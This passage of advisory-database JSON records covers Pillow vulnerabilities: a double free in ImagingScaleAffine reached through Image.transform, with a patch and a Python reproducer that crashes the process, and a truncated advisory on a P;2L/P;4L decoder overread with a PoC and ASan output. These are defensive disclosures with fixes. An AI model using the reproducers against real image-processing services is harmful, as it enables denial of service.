`FT_Done_Glyph`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T20:06:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47","https://nvd.nist.gov/vuln/detail/CVE-2026-112893","https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-j4m9-6w36-pw47"],"source_kind":"github","identifiers":["GHSA-j4m9-6w36-pw47","CVE-2026-112893"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.285Z","epss_percentage":0.00592,"epss_percentile":0.49672,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNG05LTZ3MzYtcHc0N84AB-_G","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNG05LTZ3MzYtcHc0N84AB-_G","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 10.0.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNG05LTZ3MzYtcHc0N84AB-_G/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112893","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112893","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112893"},{"uuid":"CVE-2026-112893","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112893.json"}]},{"uuid":"GSA_kwCzR0hTQS03bXdtLWdocGYtOXZybc4AB-_F","url":"https://github.com/advisories/GHSA-7mwm-ghpf-9vrm","title":"Pillow: Double free in ImagingScaleAffine on calloc failure via Image.transform","description":"```\n============================================================================\nDouble free in ImagingScaleAffine on calloc failure via Image.transform\nLocation: src/libImaging/Geometry.c:866  in ImagingScaleAffine()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nThere is a double free in Pillow's `Image.transform()` that crashes the process when an oversized transform runs out of memory. Instead of only raising `MemoryError`, Pillow frees the output image's memory once while handling the error and then again when the Python object is cleaned up. Anyone who can choose the output size of `Image.transform()` can trigger it, but only on a worker with a memory limit (a common hardening for image workers) or a 32-bit process. The result is a crash of the worker, plus corruption of its heap that has not been shown to be controllable.\n\nThe bug is in `ImagingScaleAffine()` in `src/libImaging/Geometry.c` (line 866). When its `calloc()` for the per-column lookup table of `4 × width` bytes fails, it calls `ImagingDelete(imOut)`. When the call comes from `Image.transform()`, `imOut` is the `Imaging` struct owned by the live Python `ImagingCore` output object. `_dealloc()` in `src/_imaging.c` later runs `ImagingDelete()` on the freed struct again, writing its mutex and refcount in freed memory and freeing the pixel blocks a second time. The path is reached with `Transform.EXTENT`, or `Transform.AFFINE` with a pure scale/translate matrix, under the default NEAREST resampling. A very wide, 1-row output size makes the lookup table the allocation that fails while the image itself still fits. On 64-bit Linux with default overcommit, that requires an address-space limit such as `ulimit -v`, `uwsgi --limit-as` or `systemd LimitAS=`. `resize()`, `thumbnail()` and `rotate()` are not affected. The attached reproducer runs on a stock build with a 1 GB limit: `transform((300000000, 1), EXTENT)` raises and catches `MemoryError`, then the process dies with SIGSEGV in `free()` called from `_dealloc()`. A memory-checking build reports the same path as a heap use-after-free. The faulty line was inherited from PIL 1.1.7 in the original fork commit, so every Pillow release since 1.0 is affected. A patch is attached.\n\n## Details\n\n`ImagingScaleAffine()` frees an image it does not own. On the one error path where its `calloc()` for the per-column lookup table fails, it calls `ImagingDelete(imOut)`. When reached through `Image.transform()`, `imOut` is the `Imaging` struct held by a live Python `ImagingCore` object; that object's `_dealloc()` later calls `ImagingDelete()` on the already-freed struct and frees its pixel blocks a second time.\n\nShortest demonstration on the stock build (the address-space limit stands in for `ulimit -v` / `uwsgi --limit-as` / `systemd LimitAS=` on a worker):\n\n```python\nimport resource, gc\nfrom PIL import Image\nresource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)\nsrc = Image.new(\"L\", (8, 8))\ntry:\n    src.transform((300_000_000, 1), Image.Transform.EXTENT, (0, 0, 8, 8))\nexcept MemoryError:\n    pass                      # expected, and the process should carry on\ngc.collect()                  # instead: SIGSEGV in _dealloc -\u003e ImagingDelete -\u003e free()\n```\n\nThe 300 MB output image allocates; `calloc(300000000, 4)` (1.2 GB) does not. `MemoryError` is raised as intended, but the interpreter then dies with SIGSEGV, gdb showing `free()` ← `memory_return_block`/`ImagingDestroyArray` (`src/libImaging/Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`src/_imaging.c:188`). An AddressSanitizer build of the same sources (with `max_allocation_size_mb` used to make the `calloc` fail instead of an rlimit) reports `heap-use-after-free` in `ImagingDelete src/libImaging/Storage.c:257` called from `_dealloc src/_imaging.c:188`, on a 128-byte region \"freed by\" `ImagingDelete` ← `ImagingScaleAffine src/libImaging/Geometry.c:866` ← `ImagingTransformAffine Geometry.c:1043` ← `ImagingTransform Geometry.c:1135` ← `_transform src/_imaging.c:2153`, \"previously allocated by\" `ImagingNewPrologueSubtype Storage.c:53` ← … ← `_new src/_imaging.c:756`.\n\n### Code path\n\n`Image.transform()` creates the output image as an ordinary Python-owned image and then transforms *into* it:\n\n```python\n# src/PIL/Image.py:3008…3021\n        im = new(self.mode, size, fillcolor)\n        …\n            im.__transformer(\n                (0, 0, *size), self, method, data, resample, fillcolor is None\n            )\n```\n\n`__transformer()` rewrites `Transform.EXTENT` into an axis-aligned affine matrix (`src/PIL/Image.py:3040-3046`: `data = (xs, 0, x0, 0, ys, y0)`, `method = Transform.AFFINE`) and calls `self.im.transform(box, image.im, method, data, resample, fill)` (`Image.py:3117`). `resample` defaults to `Resampling.NEAREST` (`Image.py:2936`).\n\nIn C, `_transform()` passes its *own* image as the destination:\n\n```c\n/* src/_imaging.c:2153 */\n    imOut = ImagingTransform(\n        self-\u003eimage, imagep-\u003eimage, method, x0, y0, x1, y1, a, filter, fill\n    );\n```\n\n`ImagingTransformAffine()` takes the scaling fast path because the filter is NEAREST and the matrix has no shear:\n\n```c\n/* src/libImaging/Geometry.c:1035-1043 */\n    if (filterid || imIn-\u003etype == IMAGING_TYPE_I16) {\n        return ImagingGenericTransform(…);\n    }\n    if (a[1] == 0 \u0026\u0026 a[3] == 0) {\n        /* Scaling */\n        return ImagingScaleAffine(imOut, imIn, x0, y0, x1, y1, a, fill);\n    }\n```\n\nand `ImagingScaleAffine()` allocates a table of `imOut-\u003exsize` ints:\n\n```c\n/* src/libImaging/Geometry.c:863-868 */\n    /* malloc check ok, uses calloc for overflow */\n    xintab = (int *)calloc(imOut-\u003exsize, sizeof(int));\n    if (!xintab) {\n        ImagingDelete(imOut);                         /* \u003c-- imOut belongs to the caller */\n        return (Imaging)ImagingError_MemoryError();\n    }\n```\n\n`ImagingDelete()` (`src/libImaging/Storage.c:250-279`) drops the refcount to 0, returns the pixel blocks to the arena / `free()`s them via `im-\u003edestroy`, and `free(im)`. `self-\u003eimage` in the `ImagingCore` object still points at the freed struct. `_transform()` returns `NULL`, `Image.transform()` propagates `MemoryError`, the half-built output `Image` loses its last reference, and `_dealloc()` (`src/_imaging.c:188`) calls `ImagingDelete(imagep-\u003eimage)` again: it locks `im-\u003emutex` and decrements `im-\u003erefcount` inside freed memory, then walks `im-\u003eblocks` (already freed, typically reused by then) and frees every entry a second time. In the observed stock-build runs the freed `blocks` array had been overwritten, so `free()` receives a mangled pointer and the process segfaults; with other heap states it is a plain double free of a 300 MB block.\n\nEvery other error return in `Geometry.c` (`ImagingError_ModeError`, `ImagingError_Mismatch`, `\"bad filter number\"`, `\"bad transform method\"`) leaves `imOut` alone; line 866 is the only one that deletes it. The delete is only correct for the other caller, `_resize()` (`src/_imaging.c:2026-2030`), where `imOut` is a fresh `ImagingNewDirty()` temporary that nothing else references. The delete predates Pillow's git history: it came in with the PIL 1.1.7 import, `9a640e315715` (\"Forking PIL\", 2010-07-30), so every release since Pillow 1.0 is affected.\n\nThe output width is what decides whether the path is hit: the output image costs `width × height × pixelsize` bytes, the table an additional `4 × width`. A very wide, 1-row output (300 000 000 × 1 \"L\": 300 MB image, 1.2 GB table) makes the table the allocation that fails. `ImagingNewPrologueSubtype()` caps `xsize` at `INT_MAX/4 - 1`, so the table is at most ~2 GB.\n\n## Impact\n\nApplications that let a user choose the output size of `Image.transform()` — `Transform.EXTENT` (crop-and-scale), `Transform.AFFINE` with a pure scale/translate matrix, or the `ImageTransform.ExtentTransform`/`AffineTransform` helpers, all with the default NEAREST resampling — can have an allocation failure turned into a use-after-free and double free inside the worker process instead of the `MemoryError` the API is meant to raise. `resize()`, `thumbnail()` and `rotate()` do not reach this path; `Image.resize(..., NEAREST, box=...)` goes through `ImagingScaleAffine()` but owns its output, and raises a clean `MemoryError`. The second precondition is that the output image itself allocates but the extra `4 × width` bytes do not; on 64-bit Linux with default overcommit this requires an address-space limit on the process (`ulimit -v`, `uwsgi --limit-as`, `systemd LimitAS=`, an in-app `setrlimit`), which is a common hardening for image workers; 32-bit processes can reach it through ordinary address-space exhaustion. The demonstrated consequence is a crash of the process handling the request after `MemoryError` has already been raised and possibly handled. The second `ImagingDelete()` also writes into the freed 128-byte struct (mutex, refcount) and double-frees an attacker-sized block, which is heap corruption rather than a clean abort, but no control over the written data is shown.\n\n## Reproducing\n\nRun `repro` (a self-contained Python script) from any directory. It uses the installed stock build, so nothing is rebuilt, and has no companion files. It runs the demonstration above in a child interpreter (`python3 -c`, taking `WIDTH` as an argument): the child disables core files, sets `RLIMIT_AS` to 1 GB (the kind of limit image workers are commonly given), creates an 8×8 \"L\" image, calls `src.transform((WIDTH, 1), Image.Transform.EXTENT, (0, 0, 8, 8))` with the default NEAREST resampling, prints `MemoryError caught` if that raises, then runs `gc.collect()` and prints `alive`. EXTENT with NEAREST is a pure scale, so the call goes through `ImagingScaleAffine()`, which callocs a `4 × WIDTH`-byte table in addition to the `WIDTH`-byte output image.\n\nThe script runs the child twice:\n\n- **Control:** width 50 000 000. The 50 MB image and the 200 MB table both fit under the limit, and the transform succeeds, which shows the limit itself is harmless.\n- **Attack:** width 300 000 000. The 300 MB output image is allocated, but `calloc(300000000, 4)` (1.2 GB) fails. Pillow correctly raises `MemoryError`, and the child catches it. But `ImagingScaleAffine()` has already called `ImagingDelete()` on the output image it does not own. When the output image is released, it is freed again. The child prints `MemoryError caught` and then dies with SIGSEGV instead of printing `alive`.\n\nIf the attack child was killed by a signal and `gdb` is installed, the script runs the attack again under `gdb` and prints the backtrace. The crash is in `free()` ← `memory_return_block`/`ImagingDestroyArray` (`Storage.c:396,408`) ← `ImagingDelete` (`Storage.c:271`) ← `_dealloc` (`_imaging.c:188`). In other words, the Python object's destructor is deleting the already-freed struct a second time. The verdict does not depend on this step.\n\nThe last line is `BUG` when the control exits 0 and the attack prints `MemoryError caught` and then dies from a signal without printing `alive`. Otherwise it is `OK`. With the attached patch applied, the attack prints `MemoryError caught`, then `alive`, exits 0, and the script prints `OK`.\n\n## Suggested fix\n\n`ImagingScaleAffine()` never owns `imOut`. The attached patch removes the `ImagingDelete()` at `src/libImaging/Geometry.c:866` and makes the one caller that relied on it, `_resize()` in `src/_imaging.c`, clean up its own temporary, the same idiom `_gaussian_blur()`/`_unsharp_mask()` already use. This also fixes `_resize()` passing a possible `NULL` from `ImagingNewDirty()` into `ImagingTransform()`, and leaking the temporary on the other `ImagingTransform()` error returns:\n\n```diff\n--- a/src/libImaging/Geometry.c\n+++ b/src/libImaging/Geometry.c\n@@ -863,7 +863,7 @@ ImagingScaleAffine(\n     /* malloc check ok, uses calloc for overflow */\n     xintab = (int *)calloc(imOut-\u003exsize, sizeof(int));\n     if (!xintab) {\n-        ImagingDelete(imOut);\n+        /* imOut is owned by the caller; don't delete it here */\n         return (Imaging)ImagingError_MemoryError();\n     }\n--- a/src/_imaging.c\n+++ b/src/_imaging.c\n@@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) {\n         a[5] = box[1];\n \n         imOut = ImagingNewDirty(imIn-\u003emode, xsize, ysize);\n+        if (!imOut) {\n+            return NULL;\n+        }\n \n-        imOut = ImagingTransform(\n-            imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1\n-        );\n+        if (!ImagingTransform(\n+                imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1\n+            )) {\n+            ImagingDelete(imOut);\n+            return NULL;\n+        }\n     } else {\n```\n\nEvery `ImagingTransform*()` path returns the same `imOut` on success, so wrapping the original pointer in `PyImagingNew()` in `_resize()` is unchanged behaviour. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and `Image.resize(..., NEAREST, box=...)` under the same limit raises a clean `MemoryError`.\n\n## The patch\n\nStop ImagingScaleAffine() deleting the caller-owned output image on calloc failure; make _resize() free its own temporary instead\n\nApplies to `src/libImaging/Geometry.c` at the commit above.\n\n```diff\ndiff --git a/src/_imaging.c b/src/_imaging.c\nindex 7e9c0e391..ac1873292 100644\n--- a/src/_imaging.c\n+++ b/src/_imaging.c\n@@ -2024,10 +2024,16 @@ _resize(ImagingObject *self, PyObject *args) {\n         a[5] = box[1];\n \n         imOut = ImagingNewDirty(imIn-\u003emode, xsize, ysize);\n+        if (!imOut) {\n+            return NULL;\n+        }\n \n-        imOut = ImagingTransform(\n-            imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1\n-        );\n+        if (!ImagingTransform(\n+                imOut, imIn, IMAGING_TRANSFORM_AFFINE, 0, 0, xsize, ysize, a, filter, 1\n+            )) {\n+            ImagingDelete(imOut);\n+            return NULL;\n+        }\n     } else {\n         imOut = ImagingResample(imIn, xsize, ysize, filter, box);\n     }\ndiff --git a/src/libImaging/Geometry.c b/src/libImaging/Geometry.c\nindex 1bf92e26e..2baf000a5 100644\n--- a/src/libImaging/Geometry.c\n+++ b/src/libImaging/Geometry.c\n@@ -863,7 +863,7 @@ ImagingScaleAffine(\n     /* malloc check ok, uses calloc for overflow */\n     xintab = (int *)calloc(imOut-\u003exsize, sizeof(int));\n     if (!xintab) {\n-        ImagingDelete(imOut);\n+        /* imOut is owned by the caller; don't delete it here */\n         return (Imaging)ImagingError_MemoryError();\n     }\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 2,064 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# UAF/double free in ImagingScaleAffine() (src/libImaging/Geometry.c:866):\n# on calloc() failure it ImagingDelete()s imOut, which for Image.transform()\n# is the Imaging struct owned by the live Python output image; that image's\n# _dealloc then ImagingDelete()s it again. Stock /src build, no rebuild.\n# A 1 GB RLIMIT_AS makes the 300 MB output image fit but the 1.2 GB\n# 4*width lookup table fail. Expected: MemoryError, process survives.\nimport subprocess, sys, textwrap, signal\n\nchild = textwrap.dedent('''\n    import resource, gc, sys\n    from PIL import Image\n    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n    resource.setrlimit(resource.RLIMIT_AS, (1_000_000_000,) * 2)\n    w = int(sys.argv[1])\n    src = Image.new(\"L\", (8, 8))\n    try:\n        src.transform((w, 1), Image.Transform.EXTENT, (0, 0, 8, 8))\n        print(\"transform ok\")\n    except MemoryError:\n        print(\"MemoryError caught\")\n    gc.collect()\n    print(\"alive\")\n''')\n\ndef run(width):\n    p = subprocess.run([sys.executable, \"-u\", \"-c\", child, str(width)],\n                       capture_output=True, text=True, timeout=50)\n    print(f\"-- width={width}: rc={p.returncode}\\n{p.stdout.rstrip()}\")\n    return p\n\nctrl = run(50_000_000)      # 50 MB image + 200 MB table fit under the limit\natt = run(300_000_000)      # 300 MB image fits, 1.2 GB table does not\nbug = (ctrl.returncode == 0 and \"MemoryError caught\" in att.stdout\n       and \"alive\" not in att.stdout and att.returncode \u003c 0)\nif att.returncode \u003c 0:\n    print(\"attack child killed by\", signal.Signals(-att.returncode).name)\n    import shutil\n    if shutil.which(\"gdb\"):   # evidence only; verdict does not depend on it\n        g = subprocess.run([\"gdb\", \"-q\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 6\", \"--args\",\n                            sys.executable, \"-c\", child, \"300000000\"],\n                           capture_output=True, text=True, timeout=120)\n        print(\"\\n\".join(l for l in g.stdout.splitlines()\n                        if l.startswith(\"#\") or \"signal\" in l))\nprint(\"BUG\" if bug else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T20:03:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-7mwm-ghpf-9vrm","https://nvd.nist.gov/vuln/detail/CVE-2026-112402","https://github.com/python-pillow/Pillow/commit/aafa6c75f7cdabb9f409a8aac7c780bea31d08d9","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-7mwm-ghpf-9vrm"],"source_kind":"github","identifiers":["GHSA-7mwm-ghpf-9vrm","CVE-2026-112402"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T21:00:08.607Z","updated_at":"2026-12-03T11:01:20.287Z","epss_percentage":0.00594,"epss_percentile":0.49778,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03bXdtLWdocGYtOXZybc4AB-_F","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03bXdtLWdocGYtOXZybc4AB-_F","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03bXdtLWdocGYtOXZybc4AB-_F/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112402","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112402","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112402"},{"uuid":"CVE-2026-112402","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112402.json"}]},{"uuid":"GSA_kwCzR0hTQS00NTU4LTNoOHItdjh4cM4AB-_E","url":"https://github.com/advisories/GHSA-4558-3h8r-v8xp","title":"Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size","description":"### Summary\n\nOn `main`, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.\n\n### Details\n\n`ImagingRawDecode` and the `P;2L` / `P;4L` unpackers disagree about how many bytes a line of data occupies.\n\nThe raw decoder derives the line size from the bits per pixel\n\n```c\nstate-\u003ebytes = (state-\u003exsize * state-\u003ebits + 7) / 8;\n```\n\nand uses it both for the bounds check and to advance to the next line. For `P;2L` and `P;4L`, `bits` is 2 and 4 respectively.\n\nBut these two rawmodes are not packed pixels but 2 or 4 *bit planes*, each padded to a whole number of bytes. `unpackP2L` computes `s = (pixels + 7) / 8` and reads plane *k* at offset `k * s`, and `unpackP4L` does the same across four planes. Their real footprint is therefore `planes * ((xsize + 7) / 8)`.\n\nFor some widths, padding each plane separately makes this footprint larger than `state-\u003ebytes`. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset.\n\n#9725's check is misshapen for this:\n\n* It can reject data of the right length: 8x1 `P;2L` image is 2 bytes but is not accepted.\n* It still accepts buffers shorter than the unpackers require for a given image shape.\n* It measures the length with `len(data)`, which is an element count rather than a byte count; e.g. `memoryview(array(\"I\", [0,0,0,0,0]))` (20 bytes) is rejected while `mv.tobytes()` is accepted.\n\n### PoC ( `ghsa_p2l_p4l.py`)\n\n```python\nfrom array import array\nfrom PIL import Image\n\n# 1 byte past\nImage.frombytes(\"P\", (1, 4), array(\"B\", [0] * 4), \"raw\", \"P;2L\")\n\n# 3 bytes past\nImage.frombytes(\"P\", (1, 8), array(\"B\", [0] * 8), \"raw\", \"P;4L\")\n```\nis the almost-simplest reproducer.\n\n(`array` is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates `bytes`es with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.)\n\nOn my Mac, I can get ASan to scream about this with\n\n```bash\nexport asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)\nenv CFLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g -O1\" LDFLAGS=\"-fsanitize=address\" uv pip install -e .\nenv DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py\n```\n\nlike so:\n\n\u003cdetails\u003e\n\n```\npython3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.\nunpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371\nunpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372\nunpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373\nunpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374\n=================================================================\n==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38\nREAD of size 1 at 0x602000037374 thread T0\n    #0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)\n    #1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)\n    #2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)\n    #3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)\n    #4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)\n    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)\n    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)\n    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)\n    #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)\n    #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)\n    #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)\n    #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)\n    #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)\n    #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)\n    #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)\n    #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)\n    #16 0x000194c86b94  (\u003cunknown module\u003e)\n\n0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)\nallocated by thread T0 here:\n    #0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)\n    #1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)\n    #2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)\n    #3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)\n    #4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)\n    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)\n    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)\n    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)\n    #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)\n    #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)\n    #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)\n    #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)\n    #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)\n    #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)\n    #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)\n    #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)\n    #16 0x000194c86b94  (\u003cunknown module\u003e)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c\nShadow bytes around the buggy address:\n  0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n=\u003e0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa\n  0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd\n  0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa\n  0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n```\n\u003c/details\u003e\n\n(To get it to scream differently about `unpackP4L`, comment out the P;2L case.)\n\nThe above output is with `unpackP2L` and `unpackP4L` off 5eee92031a1986dfdaac7c78cdf0b764c0697118 lazily instrumented to print out what it's reading:\n\n\u003cdetails\u003e\n\n```patch\ndiff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c\nindex a51568209..4f867737a 100644\n--- a/src/libImaging/Unpack.c\n+++ b/src/libImaging/Unpack.c\n@@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) {\n     }\n }\n \n+#include \u003cstdio.h\u003e\n+\n static void\n unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {\n     int i, j, m, s;\n@@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {\n     m = 128;\n     s = (pixels + 7) / 8;\n     for (i = j = 0; i \u003c pixels; i++) {\n+        fprintf(stderr, \"unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\\n\",\n+            in, i, j, pixels, in + j, in + j + s);\n         out[i] = ((in[j] \u0026 m) ? 1 : 0) + ((in[j + s] \u0026 m) ? 2 : 0);\n         if ((m \u003e\u003e= 1) == 0) {\n             m = 128;\n@@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) {\n     m = 128;\n     s = (pixels + 7) / 8;\n     for (i = j = 0; i \u003c pixels; i++) {\n+        fprintf(stderr, \"unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\\n\",\n+            in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s);\n         out[i] = ((in[j] \u0026 m) ? 1 : 0) + ((in[j + s] \u0026 m) ? 2 : 0) +\n                  ((in[j + 2 * s] \u0026 m) ? 4 : 0) + ((in[j + 3 * s] \u0026 m) ? 8 : 0);\n         if ((m \u003e\u003e= 1) == 0) {\n```\n\u003c/details\u003e\n\n### Impact\n\nOnly a very specific use case is affected: `Image.frombytes()` or 